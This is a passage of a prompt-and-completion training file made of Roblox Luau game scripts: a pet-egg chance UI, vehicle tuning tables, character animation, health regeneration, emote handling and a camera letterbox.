Color3.toHSV((Color3.fromRGB(49, 255, 39):Lerp(Color3.fromRGB(255, 75, 39), (math.clamp(94.2467 * math.pow(0.9315, v12) / 100, 0, 1)))));\n\t\t--v11.Thumbnail.Chance.TextColor3 = Color3.fromHSV(v16, v17, v18 * 2);\n\t\tif v12 < 1 then\n\t\t\tv11.Thumbnail.Chance.Text = math.round(v12 * 100) / 100 .. \"%\";\n\t\telse\n\t\t\tv11.Thumbnail.Chance.Text = math.round(v12) .. \"%\";\n\t\tend;\n\t\tv11.Thumbnail.Position = UDim2.new(0, 0, 0, 0);\n\t\tv11.Thumbnail.ImageTransparency = 0;\n\t\tv11.Parent = p1;\n\tend\n\t\n\t\n\t--[[print(p1, p2, p3, p4)\n\tlocal v2 = p1:FindFirstChildOfClass(\"UIGridLayout\");\n\tlocal l__isGolden__3 = v1.Directory.Eggs[p3].isGolden;\n\t--local v4, v5, v6 = ipairs(p4);\n\tfor v5, v6 in ipairs(p4) do\n\t\tlocal v7, v8 = v5, v6\n\t\tif not v7 then\n\t\t\tbreak;\n\t\tend;\n\t\tlocal v9 = v1.Directory.Pets[tostring(v8[1])];\n\t\tlocal l__rarity__10 = v9.rarity;\n\t\tlocal v11 = v1.Assets.UI.EggInfo.Pet:Clone();\n\t\tlocal v12 = (function()\n\t\t\tlocal v13 = 0;\n\t\t\tfor v14, v15 in ipairs(p4) do\n\t\t\t\tv13 = v13 + v15[2];\n\t\t\tend;\n\t\t\treturn v8[2] / v13 * 100;\n\t\tend)();\n\t\tv11.Thumbnail.Image = l__isGolden__3 and v9.goldenThumbnail or v9.thumbnail;\n\t\tv11.LayoutOrder = 9999 - v12;\n\t\t--local v16, v17, v18 = Color3.toHSV((Color3.fromRGB(49, 255, 39):Lerp(Color3.fromRGB(255, 75, 39), (math.clamp(94.2467 * math.pow(0.9315, v12) / 100, 0, 1)))));\n\t\t--v11.Thumbnail.Chance.TextColor3 = Color3.fromHSV(v16, v17, v18 * 2);\n\t\tif v12 < 1 then\n\t\t\tv11.Thumbnail.Chance.Text = math.round(v12 * 100) / 100 .. \"%\";\n\t\telse\n\t\t\tv11.Thumbnail.Chance.Text = math.round(v12) .. \"%\";\n\t\tend;\n\t\tv11.Thumbnail.Position = UDim2.new(0, 0, 0, 0);\n\t\tv11.Thumbnail.ImageTransparency = 0;\n\t\tv11.Parent = p1;\n\tend]]", "completion": "--\n\t\n\t--while true do\n\t--\tlocal v7, v8 = v4(v5, v6);\n\t--\tif not v7 then\n\t--\t\tbreak;\n\t--\tend;\n\t--\tlocal v9 = v1.Directory.Pets[v8[1]];\n\t--\tlocal l__rarity__10 = v9.rarity;\n\t--\tlocal v11 = v1.Assets.UI.EggInfo.Pet:Clone();\n\t--\tlocal v12 = (function()\n\t--\t\tlocal v13 = 0;\n\t--\t\tfor v14, v15 in ipairs(p4) do\n\t--\t\t\tv13 = v13 + v15[2];\n\t--\t\tend;\n\t--\t\treturn v8[2] / v13 * 100;\n\t--\tend)();\n\t--\tv11.Thumbnail.Image = l__isGolden__3 and v9.goldenThumbnail or v9.thumbnail;\n\t--\tv11.LayoutOrder = 9999 - v12;\n\t--\tlocal v16, v17, v18 = Color3.toHSV((Color3.fromRGB(49, 255, 39):Lerp(Color3.fromRGB(255, 75, 39), (math.clamp(94.2467 * math.pow(0.9315, v12) / 100, 0, 1)))));\n\t--\tv11.Thumbnail.Chance.TextColor3 = Color3.fromHSV(v16, v17, v18 * 2);\n\t--\tif v12 < 1 then\n\t--\t\tv11.Thumbnail.Chance.Text = math.round(v12 * 100) / 100 .. \"%\";\n\t--\telse\n\t--\t\tv11.Thumbnail.Chance.Text = math.round(v12) .. \"%\";\n\t--\tend;\n\t--\tv11.Thumbnail.Position = UDim2.new(0, 0, 0, 0);\n\t--\tv11.Thumbnail.ImageTransparency = 0;\n\t--\tv11.Parent = p1;\t\n\t--end;\n"} +{"prompt": "--vars", "completion": "\nlocal weldbholestoanchoredparts = false --when you repeatedly weld new stuff to lets say a base it will start bouncing people up\nlocal headrotationx = 0\nlocal adsing = false\nlocal sprinte = false\nlocal savedws\nlocal headoffset = Instance.new(\"Weld\", handle)\nheadoffset.Name = \"headoffsetholder\"\nheadoffset.C0 = CFrame.new()\nlocal movehead = true\nlocal rayignore = {}\n"} +{"prompt": "--[[[Default Controls]]", "completion": "\n\t--Peripheral Deadzones\n\tTune.Peripherals = {\n\t\tMSteerWidth\t\t\t\t= 67\t\t,\t-- Mouse steering control width\t(0 - 100% of screen width)\n\t\tMSteerDZone\t\t\t\t= 10\t\t,\t-- Mouse steering deadzone (0 - 100%)\n\t\t\n\t\tControlLDZone\t\t\t= 3\t\t\t,\t-- Controller steering L-deadzone (0 - 100%)\n\t\tControlRDZone\t\t\t= 3\t\t\t,\t-- Controller steering R-deadzone (0 - 100%)\n\t}\n\t\n\t\t\tTune.KickdownWindow = .25 --Time (seconds) in which you must double click throttle key \n\tTune.KickdownRPMCap = 5000 --RPM at which downshifts will no longer occur in the event of a kickdown\n\t\n\tTune.LaunchBuildup = 2500 --RPM in which launch control will build up to\n\t\n\t--Control Mapping\n\tTune.Controls = {\n\t\t\n\t--Keyboard Controls\n\t\t--Mode Toggles\n\t\tToggleTCS\t\t\t\t= Enum.KeyCode.T\t\t\t\t\t,\n\t\tToggleABS\t\t\t\t= Enum.KeyCode.Y\t\t\t\t\t,\n\t\tToggleTransMode\t\t\t= Enum.KeyCode.M\t\t\t\t\t,\n\t\t\n\t\t\n\t\t--Primary Controls\n\t\tThrottle\t\t\t\t= Enum.KeyCode.Up\t\t\t\t\t,\n\t\tBrake\t\t\t\t\t= Enum.KeyCode.Down\t\t\t\t\t,\n\t\tSteerLeft\t\t\t\t= Enum.KeyCode.Left\t\t\t\t\t,\n\t\tSteerRight\t\t\t\t= Enum.KeyCode.Right\t\t\t\t,\n\t\t\n\t\t--Secondary Controls\n\t\tThrottle2\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tBrake2\t\t\t\t\t= Enum.KeyCode.S\t\t\t\t\t,\n\t\tSteerLeft2\t\t\t\t= Enum.KeyCode.A\t\t\t\t\t,\n\t\tSteerRight2\t\t\t\t= Enum.KeyCode.D\t\t\t\t\t,\n\t\t\n\t\t--Manual Transmission\n\t\tShiftUp\t\t\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tShiftDown\t\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tClutch\t\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t\t--Handbrake\n\t\tPBrake\t\t\t\t\t= Enum.KeyCode.P\t\t\t\t\t,\n\t\t\n\t--Mouse Controls\n\t\tMouseThrottle\t\t\t= Enum.UserInputType.MouseButton1\t,\n\t\tMouseBrake\t\t\t\t= Enum.UserInputType.MouseButton2\t,\n\t\tMouseClutch\t\t\t\t= Enum.KeyCode.W\t\t\t\t\t,\n\t\tMouseShiftUp\t\t\t= Enum.KeyCode.E\t\t\t\t\t,\n\t\tMouseShiftDown\t\t\t= Enum.KeyCode.Q\t\t\t\t\t,\n\t\tMousePBrake\t\t\t\t= Enum.KeyCode.LeftShift\t\t\t,\n\t\t\n\t--Controller Mapping\n\t\tContlrThrottle\t\t\t= Enum.KeyCode.ButtonR2\t\t\t\t,\n\t\tContlrBrake\t\t\t\t= Enum.KeyCode.ButtonL2\t\t\t\t,\n\t\tContlrSteer\t\t\t\t= Enum.KeyCode.Thumbstick1\t\t\t,\n\t\tContlrShiftUp\t\t\t= Enum.KeyCode.ButtonY\t\t\t\t,\n\t\tContlrShiftDown\t\t\t= Enum.KeyCode.ButtonX\t\t\t\t,\n\t\tContlrClutch\t\t\t= Enum.KeyCode.ButtonR1\t\t\t\t,\n\t\tContlrPBrake\t\t\t= Enum.KeyCode.ButtonL1\t\t\t\t,\n\t\tContlrToggleTMode\t\t= Enum.KeyCode.DPadUp\t\t\t\t,\n\t\tContlrToggleTCS\t\t\t= Enum.KeyCode.ButtonA\t\t\t ,\n\t\tContlrToggleABS\t\t\t= Enum.KeyCode.ButtonA\t\t \t,\n\t}\n\t"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\t\n\tTune.FSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.FPreCompress\t= .42\t\t-- Pre-compression adds resting length force\n\tTune.FExtensionLim\t= .42\t\t-- Max Extension Travel (in studs)\n\tTune.FCompressLim\t= .42\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 4\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 500\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 9000\t\t-- Spring Force\n\tTune.FAntiRoll \t\t= 50\t\t-- Anti-Roll (Gyro Dampening)\n\n\tTune.RSusLength\t\t= 2\t\t\t-- Suspension length (in studs)\n\tTune.RPreCompress\t= .42\t\t-- Pre-compression adds resting length force\n\tTune.RExtensionLim\t= .42\t\t-- Max Extension Travel (in studs)\n\tTune.RCompressLim\t= .42\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.RWsBoneLen\t\t= 4\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 0\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= false\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Really black\"\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 6\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.40\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.00\t\t,\n\t\t--[[ 3 ]]\t\t1.31\t\t,\n\t\t--[[ 4 ]]\t\t1.00\t\t,\n\t\t--[[ 5 ]]\t\t0.78\t\t,\n\t\t--[[ 6 ]]\t\t0.56\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "-- setup emote chat hook", "completion": "\ngame.Players.LocalPlayer.Chatted:connect(function(msg)\n\tlocal emote = \"\"\n\tif msg == \"/e dance\" then\n\t\temote = dances[math.random(1, #dances)]\n\telseif (string.sub(msg, 1, 3) == \"/e \") then\n\t\temote = string.sub(msg, 4)\n\telseif (string.sub(msg, 1, 7) == \"/emote \") then\n\t\temote = string.sub(msg, 8)\n\tend\n\t\n\tif (pose == \"Standing\" and emoteNames[emote] ~= nil) then\n\t\tplayAnimation(emote, 0.1, Humanoid)\n\tend\n\nend)\n\n"} +{"prompt": "--------------------------------------------------------------------------------", "completion": "\n\nwhile true do\n\twhile Humanoid.Health < Humanoid.MaxHealth do\n\t\tlocal dt = wait(REGEN_STEP)\n\t\tlocal dh = dt*REGEN_RATE*Humanoid.MaxHealth\n\t\t\n\t\tif Humanoid.Health > 0 then --Forked from production to make sure the humanoid is alive.\n\t\t\tHumanoid.Health = math.min(Humanoid.Health + dh, Humanoid.MaxHealth)\n\t\tend\n\tend\n\tHumanoid.HealthChanged:Wait()\nend\n"} +{"prompt": "------------------\n------------------", "completion": "\n\n\nfunction waitForChild(parent, childName)\n\twhile true do\n\t\tlocal child = parent:findFirstChild(childName)\n\t\tif child then\n\t\t\treturn child\n\t\tend\n\t\tparent.ChildAdded:wait()\n\tend\nend\n\nlocal Figure = script.Parent\nlocal Torso = waitForChild(Figure, \"Torso\")\nlocal RightShoulder = waitForChild(Torso, \"Right Shoulder\")\nlocal LeftShoulder = waitForChild(Torso, \"Left Shoulder\")\nlocal RightHip = waitForChild(Torso, \"Right Hip\")\nlocal LeftHip = waitForChild(Torso, \"Left Hip\")\nlocal Neck = waitForChild(Torso, \"Neck\")\nlocal Humanoid = waitForChild(Figure, \"Zombie\")\nlocal pose = \"Standing\"\n\nlocal toolAnim = \"None\"\nlocal toolAnimTime = 0\n\nlocal isSeated = false\n\n\nfunction onRunning(speed)\n\tif isSeated then return end\n\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\n wait(regentime)\n wait(1)\n model:remove()\n model = backup:Clone()\n wait(3)\n model.Parent = game.Workspace\n model:MakeJoints()\nend\n\nfunction onJumping()\n\tisSeated = false\n\tpose = \"Jumping\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tpose = \"FreeFall\"\nend\n\nfunction onDancing()\n\tpose = \"Dancing\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tisSeated = true\n\tpose = \"Seated\"\nend\n\n\n\nfunction moveJump()\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1\n\tLeftShoulder.DesiredAngle = -1\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveFloat()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = -1.57\nend\n\nfunction moveBoogy()\nwhile pose==\"Boogy\" do\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\n\twait(.5)\n\tRightShoulder.MaxVelocity = 1\n\tLeftShoulder.MaxVelocity = 1\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = -3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 1.57\nend\nend\n\nfunction moveZombie()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 1.57\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction movePunch()\n\tscript.Parent.Torso.Anchored=true\n\tRightShoulder.MaxVelocity = 60\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -1.57\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nwait(1)\nscript.Parent.Torso.Anchored=false\npose=\"Standing\"\n\nend\n\nfunction moveKick()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\nfunction moveFly()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = 0\n\tLeftShoulder.DesiredAngle = 0\n\tRightHip.MaxVelocity = 40\n\tRightHip.DesiredAngle = 1.57\n\tLeftHip.DesiredAngle = 0\nwait(1)\npose=\"Standing\"\n\nend\n\n\nfunction moveClimb()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder.DesiredAngle = -3.14\n\tLeftShoulder.DesiredAngle = 3.14\n\tRightHip.DesiredAngle = 0\n\tLeftHip.DesiredAngle = 0\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder.DesiredAngle = -3.14 /2\n\tLeftShoulder.DesiredAngle = -3.14 /2\n\tRightHip.DesiredAngle = 3.14 /2\n\tLeftHip.DesiredAngle = -3.14 /2\nend\n\nfunction getTool()\n\t\n\tkidTable = Figure:children()\n\tif (kidTable ~= nil) then\n\t\tnumKids = #kidTable\n\t\tfor i=1,numKids do\n\t\t\tif (kidTable[i].className == \"Tool\") then return kidTable[i] end\n\t\tend\n\tend\n\t\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\n\tc = tool:children()\n\tfor i=1,#c do\n\t\tif (c[i].Name == \"toolanim\" and c[i].className == \"StringValue\") then\n\t\t\treturn c[i]\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = 0\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder.DesiredAngle = -1.57\n\t\tLeftShoulder.DesiredAngle = 1.0\n\t\tRightHip.DesiredAngle = 1.57\n\t\tLeftHip.DesiredAngle = 1.0\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n\n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"Zombie\") then\n\t\tmoveZombie()\n\t\treturn\n\tend\n\n\tif (pose == \"Boogy\") then\n\t\tmoveBoogy()\n\t\treturn\n\tend\n\n\tif (pose == \"Float\") then\n\t\tmoveFloat()\n\t\treturn\n\tend\n\n\tif (pose == \"Punch\") then\n\t\tmovePunch()\n\t\treturn\n\tend\n\n\tif (pose == \"Kick\") then\n\t\tmoveKick()\n\t\treturn\n\tend\n\n\tif (pose == \"Fly\") then\n\t\tmoveFly()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n\n\tif (pose == \"Climbing\") then\n\t\tmoveClimb()\n\t\treturn\n\tend\n\n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tif (pose == \"Running\") then\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Dancing\") then\n\t\tamplitude = 2\n\t\tfrequency = 16\n\tend\n\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\tif pose~=\"Dancing\" then\n\t\tRightShoulder.DesiredAngle = -desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\telse\n\t\tRightShoulder.DesiredAngle = desiredAngle\n\t\tLeftShoulder.DesiredAngle = desiredAngle\n\t\tRightHip.DesiredAngle = -desiredAngle\n\t\tLeftHip.DesiredAngle = -desiredAngle\n\tend\n\t\t\n\n\n\tlocal tool = getTool()\n\n\tif tool ~= nil then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject ~= nil then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "-- same as jump for now", "completion": "\n\nfunction moveFreeFall()\n\tRightShoulder.MaxVelocity = 0.5\n\tLeftShoulder.MaxVelocity = 0.5\n\tRightShoulder:SetDesiredAngle(3.14)\n\tLeftShoulder:SetDesiredAngle(-3.14)\n\tRightHip:SetDesiredAngle(0)\n\tLeftHip:SetDesiredAngle(0)\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tRightShoulder:SetDesiredAngle(1.57)\n\t\tLeftShoulder:SetDesiredAngle(-1.57)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tRightShoulder:SetDesiredAngle(0)\n\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder:SetDesiredAngle(0)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tRightShoulder.MaxVelocity = 0.5\n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tRightHip.MaxVelocity = 0.5\n\t\tLeftHip.MaxVelocity = 0.5\n\t\tRightShoulder:SetDesiredAngle(1.57)\n\t\t--LeftShoulder:SetDesiredAngle(1.0)\n\t\tLeftShoulder:SetDesiredAngle(-1.57)\n\t\tRightHip:SetDesiredAngle(1.57)\n\t\tLeftHip:SetDesiredAngle(1.0)\n\t\treturn\n\tend\nend\n\nfunction move(time)\n\tlocal amplitude\n\tlocal frequency\n \n\tif (pose == \"Jumping\") then\n\t\tmoveJump()\n\t\treturn\n\tend\n\n\tif (pose == \"FreeFall\") then\n\t\tmoveFreeFall()\n\t\treturn\n\tend\n \n\tif (pose == \"Seated\") then\n\t\tmoveSit()\n\t\treturn\n\tend\n\n\tlocal climbFudge = 0\n\t\n\tif (pose == \"Running\") then\n\t\tRightShoulder.MaxVelocity = 0.15\n\t\tLeftShoulder.MaxVelocity = 0.15\n\t\tamplitude = 1\n\t\tfrequency = 9\n\telseif (pose == \"Climbing\") then\n\t\tRightShoulder.MaxVelocity = 0.5 \n\t\tLeftShoulder.MaxVelocity = 0.5\n\t\tamplitude = 1\n\t\tfrequency = 9\n\t\tclimbFudge = 3.14\n\telse\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\tend\n\n\tdesiredAngle = amplitude * math.sin(time*frequency)\n\n\tRightShoulder:SetDesiredAngle(desiredAngle + climbFudge)\n\tLeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)\n\tRightHip:SetDesiredAngle(-desiredAngle)\n\tLeftHip:SetDesiredAngle(-desiredAngle)\n\n\n\tlocal tool = getTool()\n\n\tif tool then\n\t\n\t\tanimStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = time + .3\n\t\tend\n\n\t\tif time > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\n\n\t\t\n\telse\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimTime = 0\n\tend\nend\n\n"} +{"prompt": "------------------------------------------------", "completion": "\n\nlocal LETTERBOX = false\nlocal DEF_FOV = 70\nlocal NM_ZOOM = math.tan(DEF_FOV * math.pi/360)\nlocal LVEL_GAIN = Vector3.new(1, 0.75, 1)\nlocal RVEL_GAIN = Vector2.new(0.85, 1)/128\nlocal FVEL_GAIN = -330\nlocal DEADZONE = 0.125\nlocal FOCUS_OFFSET = CFrame.new(0, 0, -16)\n\nlocal DIRECTION_LEFT = 1\nlocal DIRECTION_RIGHT = 2\nlocal DIRECTION_FORWARD = 3\nlocal DIRECTION_BACKWARD = 4\nlocal DIRECTION_UP = 5\nlocal DIRECTION_DOWN = 6\n\nlocal KEY_MAPPINGS = {\n\t[DIRECTION_LEFT] = {Enum.KeyCode.A, Enum.KeyCode.H},\n\t[DIRECTION_RIGHT] = {Enum.KeyCode.D, Enum.KeyCode.K},\n\t[DIRECTION_FORWARD] = {Enum.KeyCode.W, Enum.KeyCode.U},\n\t[DIRECTION_BACKWARD] = {Enum.KeyCode.S, Enum.KeyCode.J},\n\t[DIRECTION_UP] = {Enum.KeyCode.E, Enum.KeyCode.Y},\n\t[DIRECTION_DOWN] = {Enum.KeyCode.Q, Enum.KeyCode.I},\n}\n\nfunction CreateLetterBox()\n\tlocal topBar = Instance.new(\"Frame\")\n\ttopBar.Name = \"TopBar\"\n\ttopBar.Position = UDim2.new(0, 0, 0, -36)\n\ttopBar.Size = UDim2.new(1, 0, 0.128, 0)\n\ttopBar.ZIndex = 10\n\ttopBar.BackgroundColor3 = Color3.new(0, 0, 0)\n\ttopBar.BorderSizePixel = 0\n\ttopBar.Visible = false\n\ttopBar.Parent = script.Parent\n\n\tlocal bottomBar = topBar:Clone()\n\tbottomBar.Name = \"BottomBar\"\n\tbottomBar.Position = UDim2.new(0, 0, 1, 0)\n\tbottomBar.AnchorPoint = Vector2.new(0, 1)\n\tbottomBar.Parent = script.Parent\n\treturn script.Parent\nend\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 797\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 9000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 11000\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- 